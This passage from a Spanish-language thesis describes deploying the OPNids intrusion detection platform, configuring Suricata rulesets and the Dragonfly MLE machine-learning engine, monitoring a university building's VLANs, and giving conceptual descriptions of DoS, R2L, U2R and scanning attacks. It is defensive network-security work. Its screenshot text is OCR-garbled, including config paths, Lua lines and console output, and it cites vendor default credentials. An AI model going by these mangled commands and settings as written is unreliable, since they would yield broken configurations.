system installed on it, such as Windows or Linux

Basic Tasks

&' Deploy from VA Marketplace

& Create a new virtual machine ERRiSr S BURTAE
| Learn about vSphere |

Figura 5-2: Hypervisor VMware EXSi en el servidor HP

Realizado por: Herrera, Jonathan 2021.

2.2.3.2. Instalacion de la plataforma OPNids

La herramienta OPNids se instalara y ejecutard de forma virtual desplegada sobre el hypervisor
en el servidor HP, sin embargo, esta opcidn puede presentar algunos problemas en su rendimiento,
es decir, que al tratarse de un servidor virtualizado los recursos de hardware (CPU, RAM,
RED.,etc) seran compartidos para todas las maquinas virtuales presentes en el servidor. Es
recomendable que este tipo de herramientas sean instaladas de forma nativa o0 como en este caso
una correcta configuracion y limitacion de los servicios activos dentro de la herramienta. Se
utilizara la versién de OPNids 18.9-amd64 FreeBSD 11.1-RELEASE-pl1l, disponible en la

siguiente direccion: https://opnids.io/donwloads

Para la implementacion se requiere de dos interfaces de red, una para administracién (MGT) y

otra el andlisis de trafico (TAP), configuradas como se muestra en la Tabla 5-2.

Tabla 5-2: Configuracion de IP de OPNids

Interfaz Descripcion IP
vmx0 (MGT) La interfaz MGT sirve para gestionar la herramienta a | 172.25.200.166

través del navegador, también se puede conectar por

ssh. La direccion IP puede ser por DHCP o estética.

Vmx1 (TAP) La interfaz de monitoreo en modo promiscuo (no posee | Sin direccion

direccion IP) para capturar todo el trafico de la red.

Realizado por: Herrera, Jonathan 2021.
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Una vez estudiado el hardware, se debe crear la maquina virtual con los requisitos expresados en
la Tabla 4-2, se procede a la instalacion de la herramienta OPNids a través de una imagen ISO

cargada en la unidad de CD/DVD de la maquina virtual.

Al encender la maquina virtual arranca el sistema operativo, en la Figura 6-2 se presenta un mend
con 6 opciones, se debe presionar la barra espaciadora para pausar el temporizador y seleccionar

la opcién que se desea, las opciones se explican en la Tabla 6-2.

. Boot Multi User [Enter]l
. Boot Single User

. Escape to loader prompt
. Reboot ASSRNN
33333333300
Options: SESSS
5. Kernel: default/ (1 of 2)
6. Configure Boot Options...

Figura 6-2: Menu de arranque OPNids

Realizado por: Herrera, Jonathan 2021.

Tabla 6-2: Opciones de arranque de OPNids

# Opcion Descripcion
1 Boot Multi User Modo de arranque por defecto.
2 Boot Single User Modo de arranque para reparar una instalacién de
OPNids-FreeBSD existente.
3 Escape to loader prompt Inicia el sistema con un mensaje para reparacion de

errores con comandos de bajo nivel.

4 Reboot Reiniciar el sistema.

5 Kernel: default/kernel (1 of 2) | Selecciona el kernel actual de FreeBSD.

Kernel: kernel.old (2 of 2) Selecciona un kernel antiguo de FreeBSD.

6 Configure Boot Options En este ment existen modos de arranque ON/OFF.

Fuente: (FreeBSD, 2019)
Realizado por: Herrera, Jonathan 2021.

A continuacién, se procede a escoger la opcion 1 para arrancar la herramienta OPNids, se

presentan varios mensajes mientras lleva acabo una exploracion de hardware y carga el SO,
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realiza una preconfiguracion por defecto para inicializar los servicios e interfaces de red. La
Figura 7-2 presenta el prompt de inicio de sesion de la plataforma con las opciones de “root” que
consiste un inicio en modo LIVE idealmente para pruebas e “installer” para instalar en el disco
virtual de forma permanente. Se inicia sesion con las credenciales login: “installer” password:

“opnids” para continuar con la instalacion.

=% (OPNids. localdomain: OPHids 18.9 (amd64-/0pen3iSL) sexx

MGT (emB) ->» wd: 192.168.1.1-24
TAP (eml) -> vd-0DHCP4: 192.168.232.131-24

Helcome! Both ‘root’ and ‘"installer’ users are available for system
zetup or invoking the installer, respectively. The predefined root

passuWord works for both accounts. Rermote login wia SS5H is possible.

FreeB5D-amd64 (OPMid=. localdomain) (ttyw@)

login: |

Figura 7-2: Modo live o instalador

Realizado por: Herrera, Jonathan 2021.

La siguiente ventana nos presenta un mensaje de bienvenida con anuncios de que se realizaran
preguntas necesarias al momento de instalar OPNids, presionamos la tecla “enter”. La
configuracion de consola que se muestra en la Figura 8-2, con las opciones de cambiar el mapa
de teclas y escoger una configuracion de video, se asume los valores por defecto y seleccionamos

la primera opcion “Accept these settings”.

Your selected environdent wuses the
following console settings, shown in

parentheses. Select any that you wish
to change.

< Accept these Settings >

< Change BReyHap (defaultl >
< Change Video Font (default) >

Figura 8-2: Configuracion de consola

Realizado por: Herrera, Jonathan 2021.

S7



En la Figura 9-2 se debe seleccionar el tipo de instalacion que se desea seguir, escogemos la

instalacion guiada y presionamos la tecla “enter”.

Choose one of the following tasks to
perform.

< Guided installation >
< Manual in=stallation >
< Import configuration >
< Reset password >

< Reboot >

< Exit >

Figura 9-2: Tipos de instalacion

Realizado por: Herrera, Jonathan 2021.

Se debe seleccionar el disco virtual en el cual va a instalar, en caso de existir varias unidades de

almacenamiento, en este caso como se observa en la Figura 10-2 presenta un dnico disco virtual.

This Wwill antomatically install OPNids wWwithout asking Many
questions.

HARNING: All contents of the selected hard disk will be

eraszed?! This action is irrewersible. Do you really want to
cont inue?

Select a disk to continue.

< daB: <UMWare, UMuware Virtwal 5 1.8> Fixed Direct Access S5... »
< Return to Select Task >

Figura 10-2: Seleccion del almacenamiento

Realizado por: Herrera, Jonathan 2021.

El siguiente paso es escoger un modo de instalacién como se observa en la Figura 11-2, la opcién
GPT/UEFI es la recomendada a diferencia de la opcion MBR que es para hardware antiguo,
seleccionamos la opcidén recomendada y al pulsar la tecla “enter” comienza el proceso de
instalacion con un tiempo de instalacion de 10 minutos, el mismo puede variar dependiendo los

recursos disponibles.
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select the installation mode: GPT~UEFI
iz the recommended option. MBR is
provided for compatibilty wWwith older
harduware.

< GPT-UEFI mode >

< MBR mode >
£ Return to Select Disk >

Figura 11-2: Modos de instalacién

Realizado por: Herrera, Jonathan 2021.

Una vez finalizada la instalacion nos presenta la posibilidad de crear una nueva contrasefia de
“root”, en caso de dejarlo vacio la contrasefa seguira siendo la misma que se utilizo al principio
de la instalacion. Para finalizar la instalacion solicita un reinicio del sistema y retirar la imagen
ISO del adaptador CD/DVD vy arrancar desde el HDD, después de cargar todo el sistema operativo
de OPNids e iniciar sesion con las credenciales mencionadas en parrafos anteriores se muestra un
menu de configuracién en linea de comandos. La Figura 12-2 indica la IP de la interfaz de

administracion (MGT) desde la cual se maneja una interfaz grafica para configurar todos los

servicios de OPNids.

MGT (emB) —-» vwid:
TAP (eml) -

172.25.200.166/24

FreeBSD-amd64 (0OPHids. localdomain) (ttyvB)

login: root

Password:

Hello, this is OPMids 18.9

Hebsite: https:s7opnids. io~
Handbook: https:s“docs.opnids. io”

Forums:

https:s/discourse.opnids. io~”
//github. comsopnids

Logout Ping host
Assign interfaces Shell

set

interface IP address pfTop

Reset the root password

Reset to factory defaults

Pouer off system
Reboot system

Firewall log

Reload all serwvices
Update from console
Restore a backup

Figura 12-2: Menu principal de OPNids

Realizado por: Herrera, Jonathan 2021.
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2.2.3.3. Configuracion de las interfaces y herramientas de analisis de la plataforma OPNids

En esta seccion como su nombre lo dice nos enfocamos en la configuracion de las interfaces y lo
maés importante para esta investigacion las herramientas de analisis de OPNids como son Suricata
IDS y Dragonfly MLE.

La IP de administracion (MGT) se la configura en linea de comandos, para realizar este proceso
se presiona la opcién 2 a continuacién, como se observa en la Figura 13-2 se presentan las 2
interfaces, escogemos la opcion 1, se muestra una pregunta si se desea configurar una direccion
IPv4 a través de DHCP en esa interfaz, con las opciones yes “y” o no “n”; se escribe la letra “y”
y pulsamos la tecla “enter”, de igual forma se puede configurar para IPv6 pero en la en la FIE no

[{3% 1]

existe tal direccionamiento, por esta razon se escribe la opcion “n”.

Enter an option: 2
Available interfaces:

1 - MGT (emB - dhcp)
2 — TAP (eml - dhcp, dhcpb)

Enter the number of the interface to configure: 1
Configure IPv4 address MGT interface wia DHCP? [ysH]1 y

Configure IPuv6 address MGT interface wvia TAP tracking? [Ysnl n
Configure IPuv6 address MGT interface wia DHCPGE? [ysH1 n

Enter the new MGT IPv6 address. Press <ENTER> for none:
>

Do you want to revert to HTTP as the web GUI protocol? [ysNH1 nfj

Figura 13-2: Configuracion de la interfaz de administracion

Realizado por: Herrera, Jonathan 2021.

Para la interfaz de analisis (TAP) no es necesario configurar una direccion IP debido a que como
su nombre lo dice se encargara del andlisis de trafico de la red de forma transparente, es decir,

gue no exista trafico propio de la interfaz.

Con la direccion IP de administracion asignada por el DHCP podemos ingresar a la interfaz
gréfica de control a través de cualquier navegador, ubicando en la parte del URL la direccion

“172.25.200.166” ingresamos ala interfaz principal, como se aprecia en la Figura 14-2.
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Figura 14-2: Interfaz de administracién y configuracion de OPNids

Realizado por: Herrera, Jonathan 2021.

La interfaz gréafica se encuentra dividido en 2 secciones, en la parte derecha se muestran widgets
de: informacion del sistema, Log del sistema, servicios, interfaces y estadisticas de interfaces un

enfoque resumido del funcionamiento de OPNids.

En la parte izquierda se ubica un mend de configuracion de toda la herramienta OPNids,

explicados en siguiente Tabla 7-2.

Tabla 7-2: Menu de la interfaz grafica de OPNids

Opcion Descripcion
Dashboard Tablero principal de monitoreo.
Interfaces Configuracion de las interfaces MGT y TAP, direccionamiento IPv4,

IPv6, DHCP, etc.

Suricata IDS Configuracion del IDS Suricata, herramienta de gran importancia de
OPNids.

Dragonfly MLE Motor de Machine Learning.

Servicios Beats, monitoreo, tiempo de red.

Reportes Genera graficos del trafico de datos in/out en las interfaces.

Sistema Manejo de usuarios y grupos, configuracion del sistema como backups,

actualizaciones de firmware, logs de sistema y diagndstico de servicios.

Ajustes Configuraciones generales de la herramienta.

Energia Opciones de Apagado y reinicio.

Realizado por: Herrera, Jonathan 2021.
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OPNids potencia su funcionamiento a diferencia de otras herramientas tradicionales como son
Snort, The Zeek que son IDS Open Source con caracteristicas similares entre ellos. La
herramienta OPNids integra uno de los mejores IDS Open Source del mercado, usado a nivel
mundial y por grandes empresas, este es Suricata un IDS multi-hilo de gran rendimiento ademéas
integra el motor de machine learning DragonFly. A continuacion, se detalla la configuracion y

funcionamiento de las 2 herramientas en la red de la FIE.

2.2.3.4. Configuracion del sistema de deteccion de intrusos Suricata

El servicio de Suricata se encuentra deshabilitado por defecto para proceder a activarlo y
configurarlo nos dirigimos hacia su opcion en el menu grafico del tablero principal. Como se
observa en la Figura 15-2 los ajustes del IDS presentan varias opciones, se procede a configurar

de la siguiente manera:

e Se marca la casilla para habilitar el servicio.

e Se marca la casilla para habilitar el log de registro de alertas.

e Se elije un emparejador de patrones, los algoritmos integrados son Aho-Corasick por defecto
e Hyperscan un algoritmo de Intel integrado a Suricata desde la versidn 2.x, por motivos de
la version el algoritmo Hyperscan presenta errores al ser seleccionado, se escoge el algoritmo
por defecto.

e Elegimos la interfaz de analisis TAP.

e Lafrecuenciaen la cual se creard un nuevo log se escoge de forma semanal.

e Definimos el nimero de log que van a guardar, en este caso 4.

Suricata IDS: Administration

Settings Download Rules User defined Alerts Schedule

(D advanced mods
€ Enabled v
O Enable syslog alerts

€ Pattern maicher

€ Interfaces -

6 Rotate log

@ Save logs 4

Figura 15-2: Ajustes Suricata IDS

Realizado por: Herrera, Jonathan 2021.
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Se aplican los cambios y el IDS comienza a analizar el trafico de la red, pero para que este
funcione necesita de un conjunto de reglas. Nos ubicamos en la pestafia “Descargas” en la cual se
muestra el conjunto de reglas disponibles para descargar, habilitar y deshabilitar. Una vez que se
seleccionan todas las reglas se las habilita, después se procede a presionar el boton “Descargar y
actualizar reglas” cuando finaliza la descarga se instalan con la hora y fecha, todo el proceso se

encuentra numerado en la Figura 16-2.

Settings Download Rules User defined Alerts Schedule

O Rulesets D Enal-lese\ecled [ —— earch

1 Last updated Enabled Filter Edit
¥ abuse ch/Dyre S5L IPBL not installed v |z\
¥ abuse ch/Feodo Tracker 20! v |z\
¥  abuse.ch/SSL Fingerprint Blacklist 20! v |Z\
¥ abuse.ch/S5LIP Blacklist 20 v |Z\
¥ abuse.ch/URLhaus 20 v [#]
¥ ET open/botcc 20 v [#]
¥ ET open/botcc portgrouped 20 v |Z\
¥ ET open/ciarmy 20 v [#]
¥ ET open/compromised 20, v |Z\
¥ ET open/drop 20 v [#]
¥ ET openidshield 20 v [#]
¥ ET open/emerging-activex 20 v |Z\
¥ ET open/emerging-amack response 20 v [#]

Download & Update Rules |[)

EEEE LBe Do, Bdate Rules” to fetch your initial ruleset, automatic updating can be scheduled after the first download.

Figura 16-2: Conjunto de reglas de Suricata IDS

Realizado por: Herrera, Jonathan 2021.

En la pestafia “Reglas” de la Figura 17-2 se muestra una lista con todas reglas instaladas las cuales

pueden ser habilitadas y deshabilitadas por el administrador.

Settings Daownload Rules User defined Alerts Schedule
Classtype | ALL - | Action ‘ All - |
Q | Search |z |, |
sid Action Source ClassType Message Info / Enabled

2000536 Alert emerging-scan.rules attempted-recon ET SCAN NWAP =0 \Z\ &
2000537 Alent emerging-scan.rules attempted-recon ET SCAN NMAP -s5 window 2048 \Z\ =3
2000538 Alert emerging-scan rules attempted-recon ET SCAN NMAP -sA (1) \Z\ &
2000540 Alem emerging-scan.rules amempred-recon ET SCAN NMAP s4(2) \Z\ &
2000543 Alert emerging-scan rules attemnpted-recon ET SCAN NMAP f-sF \Z\ &
2000544 Alert emerging-sca amempred-recon ET SCAN NMAP £ -si \Z\ =4
2000545  Alert emerging-scan rules attemnpted-recon ET SCAN NMAP -5V \Z\ &
Alert emerging-scan.rules amernpted-recon ET SCAN NMAP -f-5X \Z\ &
Alert emerging-web_server.rules web-application-attack ET WEB_SERVER THClISLame IS5 55L Ex... \Z\ o
Alert emerging-policy.rules misc- ET POLICY HTTP CONMECT Tunnel Atte... \Z\ o

12 T R Showing 121 to 130 of 54098 entries

Figura 17-2: Reglas de Suricata IDS

Realizado por: Herrera, Jonathan 2021.
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Suricata IDS maneja 3 conjuntos de reglas de diferentes tipos que son:

e Abuse.ch: Organizacion sin fines de lucro creada para combatir el malware en internet a

través de listas negras.

e Emerging Theats (ET): Es un servidor de reglas patrocinado por la OSIF, comparte su

conjunto de reglas con cualquier IDS, entre los mas usados Suricata y Snort.

e OPNsense: Es un conjunto de reglas para IDS/IPS que tiene soporte para trabajar con las

reglas de ET y Abuse.ch. (Deciso BV, 2019)

Por motivos de andlisis de trafico, utilizacion de recursos y para disminuir en mayor cantidad los
falsos positivos no se recomienda que un IDS trabaje con todas las reglas habilitadas por esta
razén, el IDS Suricata fue sometido a un tiempo de afinamiento y observacion con respecto al
comportamiento de la red de la FIE. En la seccion 2.3.2.4 se explica del andlisis y funcionamiento
del IDS. En la pestafia con el nombre “Alerts” o Alertas se observa todo el registro en tiempo real

de las alertas generadas por las reglas habilitadas. En la Figura 18-2 se aprecian los siguientes

campos:

e Timestamp: registra la fecha y hora de la alerta.

e Accion: Si es permitida o bloqueada.

e Interfaz: nombre de la interfaz de analisis.

e Ip/Puerto de origen: Ip que envia la solicitud de comunicacion por un puerto determinado.

e Ip/Puerto de destino: Ip que recibe la solicitud de comunicacion por un puerto determinado.

e Alerta: nombre de la alerta detectada.

e Informacion: se visualiza informacién detallada de la alerta.

Timestamp Action Interface Source

2019-10-02T20:44:43.0406... allowed tap 172.25.200.135
2019-10-02720:44:43.0399... allowed tap 172.25.200.135
2019-10-02T20:44:33.7483... allowed tap 172.25.200.106
2019-10-02T20:44:33.5552... allowed tap 172.25.203.150
2019-10-02T20:44:33.2468... allowed tap 172.25.200.212
2019-10-02720:44:33.2468... allowed tap 172.25.200.212
2019-10-02T20:44:29.9903... allowed tap 172.25.202.202

50941

Destination
172.25.220.92
172.25.220.92
172.25.105.105
172.25.220.92
172.25.203.80
172.25.203.80

172.25.223.22

7680

Alert

ET POLICY Windows Updat...
ET POLICY Windows Updat...
ET POLICY Windows Updat...
ET POLICY Windows Updat...
ET POLICY Windows Updat...
ET POLICY Windows Updat...

ET POLICY Windows Updat...

Info

Bl % [%) % % N

Timestamp 2019-10-02T20:44:43.040629+0000
Alert ET POLICY Windows Update P2P Activity
Alert sid 2027766

Protocol TCP

Source IP 172.25.200.135

Destination IP 172.25.220.92

Source port 51471

Destination port 7680

Interface tap

Configured action ¥ Enabled

Alert

Figura 18-2: Alertas del IDS

Realizado por: Herrera, Jonathan 2021.
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2.2.3.5. Configuracion del motor de machine Learning DragonFly

Dragonfly MLE es el motor de Machine Learning integrado de la herramienta OPNids, al igual
que Suricata IDS este servicio viene deshabilitado, nos ubicamos sobre el mena grafico del tablero

principal para ir a sus opciones.

En el modo grafico de la herramienta OPNids no muestra un panel de configuracién al igual que
el IDS, unicamente se puede habilitar o deshabilitar el servicio de Dragonfly MLE, como se

observa en la Figura 19-2.

Dragonfly MLE: Administration

€ Enabled o

Settings saved.

Figura 19-2: Motor Dragonfly MLE

Realizado por: Herrera, Jonathan 2021.

Por esta razon debemos realizar la configuracion a través de la consola como se observa en la
Figura 20-2, nos dirigirnos hacia el directorio donde se encuentra instalado, ingresando al Shell

con la opcidn 8 y escribimos el siguiente comando:
cd /usr/local/dragonfly-mle — cambiamos del directorio raiz hacia el de Dragonfly MLE.
Is — se muestra el contenido del directorio

Enter an option: B8

root@0PNids:™ # cd -usr-localsdragonfly-mle~
root@0PNids: usr~localsdragonfly-mle # 1s

analyzer dragonfly-mle.core
bin filter

config log

root@0PNids: usr-slocalsdragonfly-nmle # |

Figura 20-2: Directorio raiz de Dragonfly MLE

Realizado por: Herrera, Jonathan 2021.
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La Figura 20-2 nos muestra el directorio de Dragonfly MLE en el cual se encuentra el directorio
“config” el mismo que posee un archivo de configuracion “config.lua”, como se explicod en la
seccion 1.7.3. este archivo estd formado por 3 partes, entrada, analizador y salida y procedemos

a editar el archivo con los siguientes comandos:
vi config.lua — Ingresamos al archivo con el editor de texto vi

Nos ubicamos sobre la seccion de entrada o “input” y modificamos la linea marcada con el cuadro

rojo como se observa en la Figura 21-2.

inputs =
{ tag="ewve", uri="tail:rsrvarslog-suricata-eve. json”, script="suricata-filter

[lua™, default_analyzer="alert"}, —-5plit messages based on type
—1{ tag="flowZ™, uri="ipc 7 7ilow—ipc.log ™, script=- passthrough—-iilter.Tua"¥

¥

Figura 21-2: Procesador de entrada de Dragonfly MLE

Realizado por: Herrera, Jonathan 2021.

Al editar la configuracién del procesador de entrada, definimos el origen de los datos en este caso
el algoritmo va a ser alimentado por los datos del log de alertas de Suricata en formato Json, a
continuacion, se define el script que de igual manera es el manejado por Suricata y asignamos un
analizador por defecto, en esta parte es donde podemos definir entre los diferentes analizadores
que posee Dragonfly MLE, escogeremos el algoritmo de clasificacion supervisado: Random
Forest. A continuacion, nos ubicamos en el procesador de analizadores como se observa en la

Figura 22-2 y des comentamos la linea siguiente:

{tag="dga”, script= “dga/dga-rf-mle.lua”} —Detector DGA de Random forest

—— { tag="flowl"”, script="example-hll.lua”™ ¥}, —-- Counting Unique Connections
with HyperLogLog

—— { tag="flow2", script="example-mad.lua™ ¥, —— Flow Outliers using Median A
bsolute Deviation (MAD)

-—— { tag="dga", script="dga-dga-lr-mle.lua”™ }, —-DGA detector w/ Logistic Reg
ression
-—— { tag="dga", script="dgasdga-rf-mle.lua"™ }, —-DGA detector W/ Random Fores

Figura 22-2: Procesador de analizadores de Dragonfly MLE

Realizado por: Herrera, Jonathan 2021.
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Para finalizar la configuracion, en la seccion del procesador de salida se puede modificar la forma
en la cual se van a presentar los resultados, en este caso utilizaremos el log de ejemplo de

Dragonfly MLE al igual que en la Figura 23-2.

Una vez realizada la configuracién, se reinicia el servicio de Dragonfly MLE y procedemos a

visualizar el paso de las alertas de Suricata en el log asignado.

., uri="file:”/dragonfly-example. log"%},

P R LI J— N i P T 11

f wiri= il.lL.--f)fl.l.lJﬂ ITpC 10 1,
g="tls", uri="file:”stls-alerts. log"},
tag="dns", uri="file:r“dns-alerts. log"},

— { tag="flow", uri="file:”/flomw-alerts. log"},

Figura 23-2: Procesador de salida de Dragonfly MLE

Realizado por: Herrera, Jonathan 2021.

2.3. Etapa 2: Analizar el trafico de datos malicioso mediante la plataforma OPNids en el
edificio de la FIE.

2.3.1. Andlisis de trafico de datos malicioso de la FIE mediante la plataforma OPNids

Después de la instalacion de la plataforma OPNids y su configuracion mencionada en las
secciones anteriores se procede a realizar el periodo de pruebas y afinamiento del IDS Suricata y
el motor de machine learning. El andlisis del trafico de datos de la FIE empez6 de forma oficial

el dia 02 de diciembre de 2019 con el siguiente itinerario:

¢ Inicio del servicio de la plataforma OPNids y el IDS Suricata a las 8 am.
e Andlisis del tréfico de datos en la Vlan Estudiantes.

e Revision y registro de las alertas el dia 03 de diciembre y de forma consecutiva a las 8:30 am.

Este proceso fue repetitivo hasta el 31 de enero de 2020 de manera constante, es decir, las 24
horas del dia, los fines de semana incluido en dias feriados por festividades de navidad y fin de
afio, cabe recalcar que existieron algunos inconvenientes de carécter técnico que sufrié el servidor
con respecto al dafio de su almacenamiento (HDD) por una semana, sin embargo, del 02 al 09 de

diciembre de 2019 se mantuvo un constante andlisis del IDS Suricata como prueba de
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afinamiento, esta evaluacion consistio en verificar el correcto funcionamiento de las reglas y las
alertas emitidas con el objetivo de obtener informacion del comportamiento del trafico de datos
del edificio de la FIE para utilizarlo como punto de partida hacia el entrenamiento del algoritmo
de clasificacion de machine learning con lo que se pretende reducir el porcentaje de error y
aumentar la precision. Se llevo a cabo un registro de todas las alertas generadas en el tiempo de
analisis, cada alerta posee varios campos de interés, como su direccion IP de origen y destino,
identificador SID de la alerta, cantidad de alertas, fecha y hora correspondiente y de ser el caso

documentar alguna observacion realizada durante el dia de analisis.

Para el andlisis de las vlan de docentes y administrativos, el proceso fue el mismo al mencionado
en los péarrafos anteriores con la Unica diferencia en su tiempo de duracion, el analisis para las 2
vlan fue de aproximadamente 1 mes, iniciando del 03 de febrero al 02 de marzo de 2020 y del 02
al 16 de marzo de 2020, respectivamente. El tiempo de andlisis vario de una vlan a otra por la
cantidad de alertas que se registraron, la vlan estudiantes presento mayor volumen de trafico de
datos y variedad en alertas de amenazas, al contrario, en la vlan docentes y administrativos se
presentd un trafico de datos de menor volumen y de igual manera de alertas, por tal motivo solo
se realiz6 el analisis durante el tiempo mencionado. Cabe recalcar que el analisis de trafico de
datos de la vlan administrativos no se concluy6 de manera correcta por motivos de salud pablica
mundial, la cuarentena a raiz de la pandemia de COVID-19 obligo a finalizar el analisis a mitad
del mes de marzo. A continuacion, se procedi6 a la implementacion de manera offline, es decir,
una simulacién en un escenario virtual replicando las condiciones del laboratorio de microondas
de la FIE para evaluar el desempefio y efectividad de la plataforma OPNids en la deteccidn de

trafico de datos malicioso.

2.3.2. Amenazas detectadas en el analisis de trafico de datos malicioso en la FIE

El andlisis de trafico de datos malicioso explicado en la seccion anterior detectd las amenazas y
vulnerabilidades a las cuales se exponen los usuarios de la intranet del edificio de la FIE. Existe
una gran variedad de posibles ataques informaticos registrados, por esta razon en el presente
trabajo de titulacion se procedio a codificarlos o categorizarlos en 4 tipos de ataques explicando
los més comunes seguin su vector de ataque, estos son: Denegacidn de Servicio (DoS), Usuario a
Root (U2R), Remoto a local (R2L) y Escaneo (Scan o Probin).

2.3.2.1. Ataques de denegacion de servicio (DoS)

Denegacion de servicio o DoS por sus siglas en inglés, es uno de los ataques mas utilizados por

su dificil rastreo y en muchos casos, no se necesita conocimientos avanzados. Este ataque afecta
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la disponibilidad de un servicio. Basicamente un ataque DoS consiste en saturar los recursos de
un sistema, ya sea a nivel de hardware como un servidor, software como una pagina web o ambos,
provocando que los usuarios reales de dicho servicio no puedan acceder. Los ataques DoS logran
su objetivo inundando a la victima con trafico que el servidor no alcanza a procesar lo que
generara un bloqueo. (Palo alto networks, 2019) En la Tabla 8-2 se explica brevemente los tipos més
comunes de atagues DoS que pueden ejecutarse, por lo general los ataques DoS tienen un patrén

en comun y es que en su mayoria se los realiza utilizando los protocolos TCP/IP.

Tabla 8-2: Tipos de ataques DoS

Ataque Descripcion

SYN Flood es un ataque que funciona mediante la explotacion del
Inundacion SYN | proceso de protocolo TCP. Al intentar establecer una sesion TCP (SYN,
(SYN Flood) SYN/ACK, ACK) el servidor crea sesiones individuales por cada
solicitud y al no completarse mantiene la sesion activa con el puerto

abierto, asi se repite el proceso hasta saturar el servicio.

Inundacion ICPM | ICMP Flood es un ataque en el que el atacante intenta cargar a un
(ICMP Flood) dispositivo con paquetes de solicitud de eco ICMP, haciendo que la

victima sea inaccesible para brindar un servicio normal.

Smurf es un ataque DoS en el cual se intenta inundar un servidor victima
con paquetes ICMP. Se envian solicitudes de IP falsificada del host final
SMURF a varias redes, las cuales responden al servidor victima, para amplificar
el trafico de ataque inicial y colapsar el servicio. Se considera una

vulnerabilidad resuelta.

Inundacion UDP | UDP Flood es un ataque en el que se envia una gran cantidad de paquetes

(UDP Flood) UDP a un servidor de destino para sobrecargar la capacidad de ese

dispositivo para procesar y responder.

Fuente: (Cloudflare, 2020)

Realizado por: Herrera, Jonathan 2021.

Una evolucion de los ataques de DoS tradicionales son los ataques de denegacion de servicio
distribuidos o DD0S, que consisten en la coordinacion de multiples ataques DoS desde distintos

origenes contra uno o varios objetivos. (Cloudflare, 2020)

2.3.2.2. Ataques de acceso remoto a local (R2L)

Un ataque R2L se produce cuando un atacante ingresa a un sistema sin autorizacion cominmente

desde internet, la victima de manera remota busca obtener acceso por medio de malware o
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backdoors hacia una victima con privilegios o root, en sistemas Linux. En este tipo de ataques
prima la ingenieria social como principal vector para conseguir el objetivo, manipular al personal
para recolectar la informacion necesaria e infiltrarse en el sistema victima. (De la Hoz et al. 2012, p.
91) En la Tabla 9-2 se explica brevemente los tipos mas comunes de ataques R2L que pueden

ejecutarse.

Tabla 9-2: Tipos de ataques R2L

Ataque Descripcion

Los ataques de fumigacion de contrasefias son vectores de riesgo
potencialmente altos a sufrir ataques de fuerza bruta sin generar alertas o algun
blogqueo, con la finalidad de intentar conseguir las credenciales de los usuarios.
IMAP Las instituciones con Office365 deben deshabilitar IMAP, en cambio las que
Attack poseen correo electrénico interno, si no es posible deshabilitar IMAP, las
conexiones al servidor se deben vigilar en caso de existir un gran nimero de

conexiones de una fuente similar, se puede ser victima de un ataque.

El gusano informético es un malware que se multiplica de un computador a
otro. La infeccion puede ocurrir a través de vulnerabilidades de software o
Gusano ingenieria social, la cual consiste en engafiar a la victima para que descargue
informatico | software malicioso e infectar al objetivo. Un gusano infecta el computador de
(Worm) forma transparente al usuario y este puede tener varios propoésitos, desde
multiplicarse para agotar recursos informaticos, hasta instalar backdoors para

que un atacante pueda controlar remotamente el computador de la victima.

Warezmaster es un tipo de ataque R2L dirigido a sistemas con un servidor de
transferencia de archivos o FTP. El ataque aprovecha una mala configuracion
Warezmaster | que otorga a un usuario invitado permisos de escritura, cuando por lo general
Attack (FTP) | todo usuario invitado posee solo permisos de lectura. El atacante crea un
directorio oculto en el servidor y sube “warez” (software malicioso) el que

seré descargado por los usuarios sin conocimiento del software infectado.

Es la continuacion del warezmaster attack, en la que le atacante logra de
manera exitosa infectar el objetivo con el software descargado, es una
Warezclient | operacion legal dentro del servidor, ya que un usuario “legal” cargo archivos
Attack (FTP) | al mismo y cualquier otro usuario puede acceder a ellos. La caracteristica para
detectar dicho ataque consiste en revisar y monitorear constantemente los

directorios de descarga.

Fuente: (Jett, 2019), (Norton, 2020), (Sabhnani y Serpen 2003, p. 312), (Sabhnani y Serpen 2003, p. 313)

Realizado por: Herrera, Jonathan 2021.
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2.3.2.3. Ataques de usuario aq root (U2R)

Un ataque U2R se produce cuando un atacante que ya se encuentra autenticado en el sistema

informéatico e intenta ganar privilegios de los permitidos. Este ataque se puede dar por

vulnerabilidades no detectadas en el sistema, un backdoor, troyano o software instalado. (De la Hoz

etal., 2012, pp. 91) En la Tabla 10-2 se explica brevemente los tipos mas comunes de ataques U2R

que pueden ejecutarse.

Tabla 10-2: Tipos de ataques U2R

Ataque

Descripcion

Ataque de
desbordamiento
de buffer (Buffer

overflow attack)

Un Buffer Overflow Attack se utiliza para sobrescribir o desbordar la pila
de ejecucidon de una aplicacién. Consiste en enviar cddigo modificado para
forzar a ejecutar c6digo malicioso que permite al atacante apoderarse del
objetivo. Estos ataques pueden causar bloqueos del sistema, mal
funcionamiento u omitir un servicio de seguridad. Algunas de las firmas
conocidas de este ataque son: HTTP_Accept_Language_Overflow,
HTTP_Apache_DOS, HTTP_Apache_LF_Memory_DoS, entre otras.

Rootkit

Un rootkit es software disefiado para permanecer oculto (backdoor) en el
computador mientras facilita acceso y control remotos. Los atacantes
utilizan los rootkits para controlar un equipo sin el conocimiento del
usuario. Por lo general son introducidos en el computador de la victima a

través de la descarga de malware especifico.

Ataques de
Inyeccion
(Injection
attacks)

Consiste en inyectar codigo en un programa, puede ser malware con el
objetivo de ejecutar comandos remotos que pueden leer o modificar una
base de datos, o cambiar datos en un sitio web. Existen varios tipos de este
atague como: SQL, SSI, Blind SQL and XPath injection, OS

Commanding.

Powershell
Attack

Son ataques mas dificiles de detectar, porque utiliza las herramientas de
confianza de Windows, especificamente PowerShell. PowerShell es un
lenguaje de scripting eficaz que proporciona total acceso al nicleo interno
de un dispositivo y a las API’s de Windows. La capacidad de PowerShell
para ejecutarse de forma remota a través de WinRM lo convierte en una
herramienta més potente de ejecutar cualquier ataque con casi el 100% de

efectividad y de ocultamiento.

Fuente: (IBM Knowledge center, 2018a), (Belcic, 2020), (IBM Knowledge center, 2018b), (O"Connar, 2017)

Realizado por: Herrera, Jonathan 2021.
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2.3.2.4. Ataques probin o escaner de redes

Este tipo de ataques se basan en el escaneo de redes de datos con la finalidad de identificar y

recolectar toda la informacion como direcciones IP, puertos abiertos, direcciones MAC, Sistema

operativo, fabricante del hardware, etc. A partir de esto el atacante identifica las vulnerabilidades

potenciales y prepara las herramientas para explotarlas. (De la Hoz et al., 2012, pp. 91)

En la Tabla 11-2 se explica brevemente los tipos mas comunes de ataques de escaneo que pueden

gjecutarse.

Tabla 11-2: Tipos de ataques de escaneo

Ataque

Descripcion

Nmap

Nmap es una herramienta open source para el escaneo de redes y la
auditoria de seguridad. Utiliza paquetes IP para determinar los hosts
